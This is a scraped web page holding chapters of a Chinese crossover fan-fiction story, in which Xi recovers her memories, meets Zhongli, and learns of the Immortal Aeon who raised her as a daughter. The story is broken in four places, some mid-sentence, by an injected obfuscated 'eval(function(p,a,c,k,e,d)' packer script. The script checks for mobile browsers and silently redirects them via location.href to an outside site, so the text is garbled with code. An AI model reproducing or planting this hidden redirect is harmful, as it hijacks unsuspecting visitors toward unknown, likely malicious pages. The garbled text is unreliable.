;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201034|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假。这也让她确定了自己所在的世界到底是哪里。摩拉克斯、若陀、归终……是诡异的怀念和相当沉重的悲伤。 夕收回按在门上的手走到书柜旁边,取下一本书,细细看着里面的内容。这本书授人绘画,里面的排版不是自己会做出的选择,但是其中的每一幅画都出自自己的手笔,画中不包含着她的权能,只是最普通不过的水墨画。这书上的每一幅画都仿佛笔者在一刹那间完成,不过这只是打印的缘故,和什么阴谋诡计都是没有关系的。 她垂下眸子把书翻到第一页,上面印着出版的年月以及打印批次,不过这些都没有那个签名显眼。这毫无疑问是自己的签名,笔迹清晰工整,一看便让人知晓签字的人在签下字迹时的认真与严肃。甚至于哪怕是经过无数次印刻之后的签名都蕴含着微弱的权能,时刻准备着为违规者降下惩罚。 很难想到这居然是她自己去做的事情。她这不是单纯收了学生,而是专门编写了书籍去教人绘画……是在这个认识的人的影响下做出的选择吧。按下心头的悲痛,她把书重新放回书架上,视线依次扫过每一本书和每一幅画,最终停留在了窗前。 从窗户能直接看到一座树上的高大建筑物和一片废墟,隔着一层琉璃的颜色也多了些许梦幻与萧瑟。 她总觉得不应当如此。右手忍不住地抚上了窗子,琉璃随着她的心意而逐渐变得透明起来,真实的景象就这么映在了眼前。 夕又收回手,看着眼前的一切陷入了思考。在她的脑海当中窗外的风景似乎不应当如此,是什么让她有着这样的想法?不是望舒客栈……看着它,她只觉得欣慰。那么让她内心无比触动的就是归离集了。 那这么看来……她以前应当就是摩拉克斯阵营的了。甚至自己还能算是仙人?实在是难以掩盖心中浮现出来的酸涩与无奈,她忍不住地去想象归离集在被毁掉之前究竟是怎样的,是不是有着万顷良田?是不是屋舍俨然有序?是不是所有人安居乐业? 只是脑海既残留着往日的情绪却没有保留下来一丝一毫的记忆。不同于在见到那些持明残魂时勉强浮现出的印象,此时脑海里什么都没有,什么都想不起来。 为什么……什么都想不起来? 她彻底愣在了窗前,眼中难得地浮着彻底的茫然。 怀念、悲痛、无奈、仇恨……多种情绪交织在一起编织成一团乱麻,缠得愈发得紧,像是要把她硬生生拖在这里。挣扎不出去,越是想要摆脱这些情绪就越是想要回忆那些忘却的记忆,越是想要回忆就越被情绪控制起来…… 最终将夕从情绪中唤醒的是敲门声。是相当规矩的敲门声响了三下,然后便是沉默地给她留下了足够的反应时间,接着再是三声。 是谁? 近乎是有些迫切地打开了门,映入眼帘的是一双灿若烈阳的眼睛,眼睛的主人温和地笑着,磁性的声音里满是喜悦。 “许久不见,夕。” 19. 在原神的第2天 看上去纤细而柔弱的女子突然陷入了沉默。 在岁夕的记忆里是认识他的,摩拉克斯、钟离、贵金之神……各式各样的名字是她在游戏中认识的,她也知晓他博古通今,心怀天下。可是对岁夕而言,钟离说到底也只是一个纸片人罢了,再多的周边也抵不过他终究不属于真实的世界。因此对于岁夕来说,再怎么喜爱,他也终究只是虚幻。她认识他,但是他并不真实存在。 在夕的记忆里是不认识他的,她只隐隐约约地从内心感受到虚无缥缈的情感。是敬佩,是喜爱,是赞扬……可是这情感就仿佛是镜中花水中月一般。她有着对他的情绪,可是她没有任何与他相关的记忆,就像只是被硬生生插入了一段情感一般。她如鲠在喉,想说些什么却又什么都说不出来。她不认识他,但是他却真实存在。 “夕?”是充斥着担忧的声音。谁在叫她?这声音真熟悉……她见过他?她没有见过他?不对、不对…… 割裂又勉强粘合在一起的两段记忆和情感之间的冲突终究是爆发了,她再怎么知道自己既是岁夕又是夕也只是无用功。岁夕和夕之间的差别实在是太大了。岁夕只是一个寿不过百的普通人,她茕茕孑立,仅有二三好友相伴,她温和细腻却不会清冷孤高,虽然擅长绘画却只是一个彻头彻尾的普通人,只在看见那些游戏时偶尔会艳羡和生出些许情绪。夕是岁的十二分之一,她有着近乎无穷尽的生命还有十一个兄弟姐妹,她清冷孤高也温和,擅长绘画并将自己的权柄寄托于此,和岁夕眼中的“虚幻的人物”有着真实存在的交情。 岁夕本就是夕,夕也本就是岁夕。岁夕的经历对比夕的寿数太过短暂,原本就会在重新苏醒在夕的身体中时被融入夕的记忆。只不过两段经历之间隔着的岁月太过漫长又参杂了些许不被人所知的愿意,这让夕在苏醒时仍是以岁夕的意识为主导来融入的夕的过往。夕的过往太过漫长也太过复杂,哪里是岁夕可以一瞬间就能接纳得了的?不过是两人本就为一人才直接接纳罢了。 她只觉得头痛欲裂,脑袋里好像住着两个人一般,一个人说认识,另一个人说不认识,两人若只是争辩也罢,可这就仿佛马上就要打起来似的。她也说不清自己到底是如何,只是怔怔地看着眼前的人。 钟离见着故友的脸色在见到自己后愈发苍白,整个人都呈现出一种摇摇欲坠之感。此时也顾不得什么了,多少知道的比他人多了些什么的他急忙展开手中抱着的画卷,一把把夕装进了画里。 她只觉得眼前一阵恍惚,再次睁眼时就是落在了熟悉的画卷里。 树木郁郁葱葱之下,夕一睁眼就知道这是在哪里。高跟鞋踏在泥土和碎叶上的感觉并不舒适,脚下的泥泞感倒是稍稍唤醒了她的神智。 夕能清晰地感受到这座山脉之中有着大量的不朽力量的残存,也正是这股力量亲昵地围绕在她的身旁帮助她重新安抚了岁夕和夕的过往,让它们暂时重归于好。她突兀地想起了最初苏醒时的感受,那股温柔的充斥在汤海中的力量……毫无疑问,在她最初归来时帮助她的正是不朽的力量。 在离开崩铁世界后,她被罗小黑世界的世界意识压制,力量被用了许多,又在世界间的空隙中消耗了大量力量没来得及恢复。接着就是看见在那位被忘却的友人……未来得及补充的力量不足以继续安抚岁夕和夕,她也因此遭受了痛楚。 她倒是还有个疑问。 灰齐山……这座山脉未曾出现在过她自己的画卷当中。至少在她到崩铁世界之后是没有的。在大炎时她倒是画过这座山,可是她也完全确定她在崩铁世界的时候这座山绝对不存咋于她的画卷。 这只能说明灰齐山及周围的部分都被过去的她隐藏了起来。 力量强大到隐藏起这一切……过去的她看起来要比现在的她强大不少,毕竟都是“夕”,力量实际上都出自同源,能瞒得过她自己的力量…… 夕微叹一口气,看向了山脚下的一艘陆行舰。她对于这艘舰船可是再熟悉不过,毕竟夕的记忆最后就停留在这座舰船上。她还记得那时她居住在那里,被年胁迫着带上了罗德岛,以访客的身份在墙上留下一幅画住了进去……有胆大的孩子们要来画卷中冒险,还有好奇的研究者想要知晓他们的秘密……当然,也有不知晓他们身份的朋友。 她难得失神片刻,毫不犹豫地向着山脚下而去。 只是这路程一点都不顺遂,她结结实实地一脑袋撞在了透明的墙壁上。 这是?是过去的她遗留下来的屏障?这屏障为何只阻拦她自己? 夕把手放在了这道透明的屏障上,细细感知。这是附加条件?繁杂的咒文密密麻麻地涌现在她的手下,使用的还是持明一族的文字。和最初阅读这些文字时的感受不同,经过多日,她早已可以如同往日一般轻松地阅读它们,就仿佛使用母语时的轻松。 条件是……让她从山中寻找到过去使用的物件?夕沉默着转脑袋看向身后,绵延起伏的山脉上到处都是茂盛的植被,枝繁叶茂之下连日光都要对地面退避三舍。很难说要如何在一片密林中寻找到一个平平无奇装着物件的盒子。更不要提光是盒子的颜色都可以完美地隐藏在树干之中了。 她收回手又反身走入了灰齐山。 灰齐山啊……她可是在这里住了不少日子。说实话她也不知该如何在无法让墨魑们来帮忙的情况下快速找到一个物件,只是既然选择了这样的做法,那就该去做。 她倒也不是不能强行突破,那屏障过了这么些时间早就没有了本该拥有的能力,所有的能量基本都用在了隐藏和屏蔽上,本身的阻拦能力不剩多少。屏障的结实程度只能说是能阻拦一下墨魑,要拦下她是做不到的。 也不能说是自己甘愿受些苦,只是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201035|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也多少有些好奇过去的她到底留下来了什么。 夕也说不清这盒子到底放在哪里,只能说好在过去的她没有运用力量给自己做些迷惑,而是大大方方地把东西就放在那里。 干巴巴地一点点去找自然是不好找的。可是既然这物件是她过去常用的,那就有可能是并非画中物件,而是被她带入现实的物品。这就好找了不少,夕运用权柄一点点去看,去寻找。既然被称为物品,那就必然不可能是活物,那就只要找到没有沾染上过多权柄的死物就可以了。 功夫不负有心人,她在一棵大树下找到了这个盒子。 打开盒子,里面整整齐齐地放着一套衣物和一个蓝黑交错的环。 衣物是她在罗德岛上穿的那身衣服,环是罗德岛生产的检测感染状况的检测装置,这是罗德岛上的每一位干员都拥有的东西。 是了,她怎么就偏偏忘记了这些东西?她苏醒时穿的是那身旗袍,她为何后来找不到这些东西甚至根本就没有去想过?她……好像是潜意识里就觉得这些不应当再存在。 在一瞬间她想了许多,也好像什么都没有想。 褪去旗袍换回罗德岛的制服,平底的鞋子代替高跟鞋踏在了草叶和泥土之上。 原本穿着的旗袍本就是她自己动用权柄画出来的,此时让它暂时消失也容易。 整理好一切的夕再度朝着山下的舰船而去。 这一次的她轻而易举地越过了屏障,走到花海当中。山下是白花汇聚而成的海洋,花海中停着罗德岛。这和在游戏中的那个主题极像,只是终究是留存着不同。 夕神色凝重地注视着罗德岛的方向。 你能想象……在同一时刻的世界上存在着两个一模一样的自己吗? 太过古怪了。 和她相似却也不相似的力量就存放在那座舰船上。相似的是力量都由她自己的权柄和不朽的力量所构成,不相似的是这份权柄与她相较实在是缺失的太多,而不朽的力量又比她要强上许多。 有一刹那她险些以为在那舰船上的是她自己。 以及,这一切都让她想到了许多之前未曾思考过的问题。她的权柄,以前有这么强大吗?她的墨魑们,以前有这么黏人吗? …… 许许多多的问题汇聚在了她的脑海里,最终只剩下了一个。 她的权柄什么时候有这么强大了? 她作为岁的十二分之一,权柄也只是岁的十二分之一,甚至还要少些。权柄的量是固定的,再怎么都不可能增加,哪怕增加了也只可能是她自己回归了岁,她的权柄回归了岁本身,岁恢复了权柄,但那是岁的权柄增加了,绝不可能是她的。 夕细细地探查着,不可置信地瞪大了双眼,舰船上的那份力量中的权柄和她现在持有的权柄叠加起来,刚好是她理应拥有的权柄的两倍! 20. 在崩铁-前传的第1天 夕并不确定前方等待她的究竟是什么。 在感知到这份力量之前,她会想这是否是失忆前的她遗留下来的东西,但是在感知到这份力量之后,她不得不开始怀疑那艘舰船上的到底是谁。 她未曾遇到过不同世界的同一人物,因此也无从得知这样的两个存在之间是否会有差别。 她同样也无路可退。 守在画卷之外的是钟离,是摩拉克斯,是魔神战争的胜者。 而她呢? 她是岁的十二分之一,也是不朽的令使。可是倘若只凭借权柄,她的力量并不足以抗衡对方,而来自不朽的力量她又未曾完全摸透。 她并没有自己可以对抗钟离的自信。 画卷确实留了些许在外界,可是那是在其他世界。贸然尝试的结果太过危险。 既然如此,那就只能选择前进了。 一路上什么都没有,安静极了,哪怕是一只小虫都不存在。夕自己知道这是因为画家未曾画下这些生命。路上的花草也不是很正常,她的动作挥出的微风甚至连最细微的草叶都带不动,僵硬的它们细看下去还有几分粗糙,就像是作者在绘画的时候不耐烦了一样。 还有一种可能性,那就是作者来不及去画那些细节。 夕猜不到是什么原因,但是并不妨碍她现在稍微松了一口气。 她还是了解自己的。不论是哪个自己,既然选择了绘画,又选择了将权柄寄托在绘画上表达,那么所选择的都不可能是不耐烦地去委屈自己画不想画的东西。绘制出的画面绝对不可能如此粗制滥做,哪怕是自己兴致尽了,画出来的东西也不会像这些花草一样。那么有极大的可能是画下这些花草的她并没有充足的时间可以用来继续画下去了。 罗德岛的大门没有开放,夕也没有自己去开,她不是很擅长这些机械方面的东西,这门的详细情况也没有了解过,因此倒不如换个进入方法。 例如甲板。 在大部分时间,罗德岛都是在航行的,各色的风景也轮番出现在它的附近。她见过大炎的许多风光,可是像是萨尔贡的黄沙之流却是未曾见过的。她嘴上说着已经尽兴,可是偶尔也会在无人的时候去甲板看看。 这也导致她比较了解甲板上面的门。 她轻巧地跃起,又落到甲板上,熟练地打开门沿着道路向下走去。 那股力量在不停地波动,很容易就会被发现位置。 力量的波动随着她的前进愈发活泼,像是在催促她快些。这也方便夕快速确认了力量所在的位置——在博士的办公室。 罗德岛的干员基本上都会有那么几天去当博士的助理,她也不例外。更不要提初次去当助理还是博士敲了她的门,亲自去找的她。 推开门,没有她想的什么人或者物,只有一个染着墨色和青色的光球安静地待在办公室中,看颜色就像是那拓本上形容她的话——戴月披烟。 她几乎控制不住地想要把光球按进身体里。她突然觉得很渴,唾液止不住地分泌着,本就尖锐的竖瞳紧紧地盯着那光球,仿佛眼中看见的是猎物。 想要想要想要想要想要—— 脑海中疯狂迸发而出的是渴望,是急切,就好像属于自己的一部分马上就要回归。缺失的部分疯狂地渴求着身体的主人取回自己的东西,它们欢欣鼓舞着庆贺即将迎来的完整。 鬼使神差的,夕伸出手触碰了那个光球。 她坠入了黑暗。 是潺潺的水声,环绕在身体四周。 水声轻柔而婉转,仿佛一双手,又像是一首歌,温柔地拂过身周,好比母亲抚摸自己初降世的孩子,唱着安眠的曲子催促孩子入眠。 她觉得自己蜷缩在一个窄小的地方,什么都没有,只是伸着脑袋用角向上轻轻抵了抵就触碰到了一片坚硬。 于是她把头伸了回来,重新蜷缩起来。 身周的水流仿佛被惊扰了一般,流速加快了不少,但又很快地沉寂下来,像是在害怕。 她感觉自己周围的温度缓慢地升了起来,好像有什么东西摸在了自己周身的空间外面。 太热了。 于是她不满地用身体努力向四周摇晃着。 像是受惊了一般,外面的东西不见了。 于是她安静地继续蜷缩了起来,一动不动。 她睡着了。 她不知道自己到底睡了多久,只是感觉在睁眼之后这片空间变得十分拥挤,哪怕只是最轻微的一点动作都会触碰到这片空间的边界。与此同时,她总觉得周围有什么在一直看着自己。 很讨厌,祂都不闭眼吗?只想安静地这么待着…… 像是失落,外面的生命默默闭上了眼睛。 好挤……她也感觉到外面的生命很焦急地把爪子按在这片空间上,动作很轻。不过,爪子是什么?挤又是什么?她不知道,她不理解。 好烦。 好难受。 她烦躁地一点点用自己的角顶着外面的空间,感受到越来越多的气体进入她所处的地方。她也同样感受到外界的那个巨大生命正在一直盯着自己。 从一个小洞到一条缝再到一个圈,最后用脑袋顶开上边的不规则圆片。 她慢吞吞地直起身子,趴在了破碎的蛋壳上。 她抬起脑袋,看见了一张巨大的目瞪口呆的脸。 脸不见了。 她慢吞吞地想着。是不要我了吗? 不知为何,她的内心像是雏鸟一样涌现出了惴惴不安之感。雏鸟是什么?惴惴不安是什么?她急切地用着全身上下地力气向蛋壳外探去。 分配不均的重量让蛋壳逐渐倾斜,然后唰地一下就要倒下去。 一双手及时地把她从壳中抱了出来,一张脸出现在了她的眼前。 眼睛是一样的……她努力地伸出手去触碰,喜欢……模糊不清的想法在她的脑海里涌现,然后逐渐沉寂下去。 她睡着了。 新生的幼崽哪怕是不朽的龙裔也太过孱弱,尚未发育完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201036|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全的身体哪里经得起这般折腾? 抱着她的“人”手足无措,祂看着怀里的孩童一点点改变着自己的形象,龙角、龙尾、黑色的头发……眼睛?可是她好像很喜欢。既然她喜欢,那么就不改变眼睛了。 这么抱着是不是会不舒服?这样呢?让祂想想那些人类是怎么抱孩子的。祂小心翼翼地转变着抱孩子的姿势,让她枕在自己的胳膊上,用另一只胳膊避过尾巴托着她的屁股,又让手托着她的后背。祂的身子僵硬极了,一步也不敢动。缓慢地、轻柔地改变着自己的怀抱,直到怀中孩童的面容逐渐安详起来。 这是祂仿照着自己的模样“生”出来的孩子。 尽管这孩子的灵魂来自异界,身形与自己又大不相同,但是这一切都不妨碍祂经历了这么久守望着她的降生。祂期待了很久,祂经历了长久的寂寞,一直期待着有能够与自己长久相伴的生命的诞生。过了这么久……好不容易才得来了这个孩子。 祂怜爱地看着怀中的幼童,眼睛连眨一眨都不肯,喜爱与执着快要从眸子里溢出来了。祂知道祂的心态不对,可是祂不打算去改。 身为不朽的星神,祂实在是见过了太多离别。除去那些和祂同等存在的星神以外,生命的离去太过频繁,更不要说就连星神都会陨落。祂呢?是不朽的龙。凡人的“不朽”太过浅显也太过易逝,他们的生命无法不朽,他们的精神会在天灾、人祸等现象中消失……而星神受困于命途,属于人的意志终归有一天会被压制到底。祂太渴望有非星神的生命可以长久与祂相伴了。 然而不是所有生命都可以轻而易举承受得了来自不朽的祝福的。哪怕肉身不朽,精神也迟早有一天会被磨损得支离破碎。 祂因此想要创造一支属于祂的族群。人数多还是少都无所谓,只要能与祂长久相伴…… “汝乃不朽之子,如乃不朽龙裔。”祂看见了,在这孩子的故乡,这个种族被称之为龙,那么我就用此来做为你的血脉。祂将怀中的幼童放到早已备好的软榻上,动作熟练得一看就是练习过多次。 “吾将不朽命途完全向汝开放,汝乃吾令使,乃吾代言者。见汝即见吾。”祂看见了,这孩子本就是长生种,可这岁月对祂来讲还是太过短暂,因此祂要这孩子成为祂的令使,承载着不朽,也将伴祂一同不朽。 “汝之名,岁夕。”祂看见了,这孩子的原名就是夕,和那名为岁的生物有些许联系。祂并不打算更改这孩子的名字,她既然在失去记忆后还在潜意识种眷恋着那名为泰拉的地方,决心做一个溺爱孩子的家长的祂当然要选择顺应孩子的想法。孩子既然可能会回去,祂当然要帮忙,加上岁这个字刚刚好,正巧加大了与泰拉的联系。至于会回归岁?没关系,祂现在就斩断这道和岁之间的关联。 祂伸手要抚摸上岁夕的脸颊,却又犹豫不决。阿哈带祂看过那些新生儿,是不能轻易触摸他们的脸的,会让他们不舒服,甚至会让他们染病。 身为祂的孩子也会那么容易地生病吗?祂不知道。 21. 在崩铁-前传的第2天 不朽是一个好父亲。 祂用力量改造这片海洋使之宜居,祂搭建起金银造就的宫殿,祂寻来一切珍宝作为礼物,祂向寰宇宣告自己的后裔…… 不朽不是一个好父亲。 祂不愿意让自己的孩子离开自己。她想要出门,祂便一定要与她一起;她想要朋友,祂就创造出新的血裔来做她的玩伴…… 尽管不朽最初对这个孩子抱有的感情大多都只是一厢情愿的寄托,在经过了这么漫长的岁月之后,那份仅是寄托的感情也彻底变做了面对自己心爱的女儿时会拥有的亲情。 只是这感情越深厚,祂就越发不愿让自己心爱的孩子离开自己。特别是在祂后来创造的血裔随着寿命的终结而离去后,祂就更不愿意让自己心爱的孩子离开了。哪怕岁夕只是出门采风都要悄悄跟在后面看着。 祂心知这孩子之所以会成为祂的血裔完全只是源于祂的一厢情愿。祂渴望有生灵可以陪伴自己一同不朽,祂太渴望了,渴望到毫不犹豫地剥夺了这孩子选择的权力,封印她的记忆,重塑她的身躯,把自己的力量注入新生的躯壳,让她彻底成为祂自己的血脉。 祂越爱这个孩子,祂就越后悔。 祂从那份记忆中知晓祂的长女是多么地爱着她的家人和朋友,爱到在社会乃至自然的规则都崩毁的时候不惜以自己的一切为代价去救人。 就这么阻止自己的孩子想起来一切真的正确吗?祂扪心自问。 放在祂的立场上,祂认为这样的行为会让岁夕“自愿”陪伴在自己身旁。放在岁夕的立场上,自己不过是剥夺了她选择的权力,让她“被迫”陪伴在自己的身旁。 因为爱着自己的孩子,所以祂愿意站在夕的立场上去看。 祂并不后悔在这孩子转生之前封印她的记忆,可是祂后悔自己每次都在这孩子快要恢复记忆的时候重新布置下封印。 如果她想起来的话,她会恨自己吗? 不朽不愿意思考这个问题,更不敢去尝试。 祂无法接受岁夕以仇恨的眼神去看祂,祂不愿意让哪怕只是一丁点的厌恶出现在夕看祂的目光当中。 “父亲?”清亮的声音在耳畔响起,不朽的龙急忙地收回自己的思绪,眼中满载温和地看向长女。 “您在想什么?”干净而纯粹的眼神当中只有敬爱与亲昵。想要问出的后半句话被她吞进了肚子里。是什么会让自己的父亲,让一位星神如此苦恼,甚至有些恐惧?她心知自己身为不朽的令使,大部分的力量都来源于不朽的命途,自己的父亲为之苦恼的事情她大多也是帮不上忙的。可是自己帮不上忙不意味着自己可以什么都不做。 祂看着这双赤红的眼睛,什么都想不下去了。 祂怜爱地轻抚着爱女的发丝,声音柔和地不像样子:“夕……” “如果是,我是说如果……”祂没有预测未来的能力,也不愿意让博识尊参与到自己的家务事中,因此祂心情忐忑地迟疑地去询问,“要是我,在过去做了很多不恰当的事情伤害到了你……你因此失去了很多很多的记忆,你……”祂顾不得自己的语无伦次,也想不到去调整自己语言中的失误,祂的声音甚至带了些颤抖。 “不会的!”岁夕打断了不朽的话。她并不是一个多么能说会道的人,不过在此刻她尽自己的全力去诉说想法。 她抱住自己的父亲,紧紧地搂住祂:“你是我的父亲。我并不知道在过去到底都发生过什么,但是在我拥有的全部的记忆当中,你对我的爱是纯粹的真实的。你是绝对不会害我的。”让一个在感情上并不是很放得开的人剖析自己的想法并不简单也不容易,她也甚少会这么做。可是面前的是她的亲人,是她从一睁眼就再也未曾远离过的父亲。 哪怕是过去的夕也未曾这么坦白地直接表达过自己的感情。 阅读过女儿记忆的不朽自然知道这一点,祂对这段从欺骗中诞生的亲情的信任又多了一些。 “夕……你想要想起来吗?”祂艰难地说出来这句话。祂并不情愿让岁夕想起来身为夕的过往,可是祂不能剥夺了自己的女儿知晓真相的权力。更何况岁夕的底子就是夕,说到底夕才是真正的真实。 祂只是沉溺于这份亲情。祂无法接受自己的孩子变成另一个人——尽管祂知道岁夕也是自己孩子相当重要的一部分。 祂也有自信自己的孩子还会是自己的孩子,只是祂深知自己长久的欺骗…… “那份记忆……是这些力量的来源吗?”岁夕所有所思,权柄在她的身边静静地飘起来。说起来父亲还不知道,自己还用这份力量带着弟弟妹妹们偷偷溜出去玩过。 “如果你不希望我想起来的话,我就不想了。”岁夕把话说得很直白,随着她年岁渐长,她也逐渐发现了养育自己长大的父亲心中浓厚的害怕。祂在害怕什么?夕想不明白,她只知道自己若是不直截了当的说明白,祂必然是还要纠结的。 不朽抱着祂的女儿沉默了很久。岁夕一直都是一个很乖巧懂事的孩子,安静而高傲。也正是这样的性子让祂一直在后悔,一直在纠结。 祂最终还是做出了决定。 “大概明天你的记忆就该解封了,这一次,我不会再封印你的记忆了。” 祂松开了手。 忧心忡忡的不朽还是忍不住地开始了碎碎念:“今天晚上早点睡,别熬夜,睡着的时候恢复记忆好歹还舒服些。也别让那几个小崽子摸进你那边找你,不舒服了就来找我,我就在门口等着……” 岁夕无奈地在心底叹了口气,她是真觉得这些碎碎念烦得很,有的时候带着弟弟妹妹们跑出去也是因为不太想听唠叨就是了……有时候她也会觉得这些唠叨熟悉得很,可是细想起来自己又实在想不起来在哪里听过相似的唠叨。如今看来也是在那些记忆当中吧。 不是很放心还有些担忧的不朽“妈妈”还是眼巴巴地看着自家好大女丢下自己去了寝殿。 是夜。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201037|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 漆黑的夜空之上悬着两轮明月——这是不朽在阅读过夕的记忆后挂上去的两颗星星,细碎的星光坠在明月边上,浅淡的云雾为亮光带来了些许朦胧,正如现在的岁夕。 “夕妹,这画里是好,但也不要总是一个人待着,和令一样跟我去玉门看看可好?边塞的风光也是极好的。” “不要总是窝在画里……多少也动一动,多运动一些对你身体有好处。” “我有个好点子!快来帮我画些东西,再借我你的画一用,有个电影布景只有你能帮我做出来。” “夕,按照排班,今天轮到你去我的办公室值班了。” 是谁?是谁也说话? 漆黑的如烟状的雾气仿佛空气般快速地在大地上蔓延;数字的概念变得模糊不清以至于人再也无法使用;一切物品的价值都被扭曲到常理不能解释;内心的负面情绪成为了实体化的怪物;大气压强随意地改变着不再有规律可言;空间被无限地折叠扭曲;生命从诞生起始便迎来死亡…… 这是毫无疑问的灾难。 自然崩毁,冬雷噤声,岁月不在,金律停息,历史消亡…… 遭到入侵的海洋咆哮着跃出了海面,大群呼唤着所有的子嗣为了生存与繁衍去决一死战。它们疯狂地进食着遭遇的所有生命以供大群进化。 原本连接着各地的信使在混沌中被侵占了身躯成为了灾厄的传播者。 年幼的魔王早已战死沙场,长生者为文明而战在混乱中不知所踪。 她的兄弟姐妹们也早已在战争中失了音讯。 她由着不擅战斗的缘故并未前往前线,而是在后方协助构建起最后的庇佑之所。 她护着仅存的孩子们和博士退避战场躲入画中。 可是她的画卷又哪里安全呢?仅凭她一人的力量哪里抵御得了邪魔和海嗣的夹击? 夕只记得自己最终用尽全部的力量抵挡着邪魔,看着一道道漆黑先是撕裂她的画卷,接着又撕裂世界,然后她坠入了漆黑的裂缝。 她不记得自己坠落后都发生了什么,她只记得裂缝平等地撕裂着一切,包括邪魔,包括海嗣。她在彻底坠落出去之前以权柄最后为博士构筑了屏障,再之后的事情她就不知道了。 再睁开眼时自己已然成为了不朽的龙裔。 岁夕也好,夕也罢,总归都是她罢了。 只是……泪水不住地自她的脸庞上滑落。她的兄弟姐妹、她的好友……全部都不在了。甚至于她的故土、她的家园也支离破碎。她心知在那样的灾厄之下那颗星球很难存续,更不要提生存在星球上的生命了。哪怕有人侥幸在邪魔和海嗣间活了下来,也拥有在太空生存的能力,星球外的祂也绝不可能放过手中的猎物。 自己侥幸在濒死之际被父亲带到汤海,成了祂的女儿,可其他人呢? 在茫茫星际当中…… 岁夕露出一个苦涩的笑容来,她是在笑着,可是怎么看都更像在哭。 22. 在崩铁-前传的第3天 不朽的女儿做出了一个决定。 等到天明,近乎一夜未眠的岁夕走出宫殿,她的老父亲果不其然就待在门口,看着她的眼神犹豫又期待。 岁夕其实不太能想得通不朽为什么觉得她恢复记忆后会不认祂为父亲。并不知晓全部真相的她用力抱了抱自己的老父亲,权当不朽的想法是因为人性的逐渐丧失。在漫长的岁月当中,她经历了不朽人性逐步衰减的过程,尽管有她和弟弟妹妹在旁陪伴,可是被束缚于命途的星神终归不可能与丰满的人性长久相伴。 等了一个晚上等来长女拥抱的不朽简直想要泪流满面。 “父亲……”岁夕有些迟疑,但是她还是坚定地把自己的想法诉说出口,“我想要去父亲把我救下的那片星系去看看。”她知道距离那场灾难已经过去了无数年,可是她还是想去看看。她昨夜恢复记忆后也并非什么都没做。随着她恢复记忆,被封印起来的权能也一并复苏。她可以感知到在遥远的远方还存留着一张画卷。这感觉模模糊糊,但是又确实存在。这足够说明,她最后画下的画卷还存在于这个世界。那是不是意味着……或许还会有零星的幸存者? 时间过去的实在是太久了,久到她带着弟弟妹妹出游的星球上沧海都化作绿茵万千……她深知人类的寿数短暂,哪怕是神民和萨卡兹都不拥有这般漫长的寿命。她的画卷中不曾有过石棺,也不曾有过上个文明的其他医疗设备,无论如何,博士和那些孩子都不可能还有活下来的可能性。 还有她的兄姐和幼弟…… 她还是想回去看看。 不朽的龙站在“不朽”命途的顶端,对这条命途的掌控力非常高。而祂的爱女自出生就踏足这条命途,伴随她的成长和与命途的同行,说是祂的代理人丝毫不过分。这种情况下祂自然可以轻易察觉到她的情绪。 是悲伤,是痛苦,是痛恨……悲伤于故土破碎再难回归,痛苦于亲朋好友皆丧命,痛恨于自己这些年无所作为…… 不朽的星神沉默着紧紧抱住自己的孩子。祂扪心自问自己肯定是不愿意让自己心爱的女儿离开自己的,岁夕从出生开始就是祂亲手抚养的,从牙牙学语到亭亭玉立,她生命中的每一刻都有祂的参与。是她让祂漫长到一眼就看得到尽头的空虚的生命逐渐染上了颜色。 龙是喜爱珍宝的生命。祂自然也不例外。 岁夕对祂而言就是极为重要的珍宝。 更何况……祂并不愚笨,祂的孩子话语中透露出来的一切足以让祂知晓岁夕尚未了解真相。祂的女儿还以为自己还在原来的世界呢。 不朽看过夕的记忆,也知道那是一个多么奇怪的世界。支离破碎蛮横生长的科技树、来自星球之外难以敌对的存在、种族间的偏见与敌视……那个世界并不适合祂心爱的孩子生活。她应当生活在一个和平的地方,有看不完的景色、说不尽的故事,有与她同寿的亲友相伴。想做什么就去做什么,没有任何存在可以逼迫她。 没有谁可以逼迫她。是了,没有谁可以欺骗她、逼迫她,哪怕是祂自己也一样! 不朽的龙抱着岁夕的双臂用的力气更大了些。 祂知道自己接下来该做些什么了。 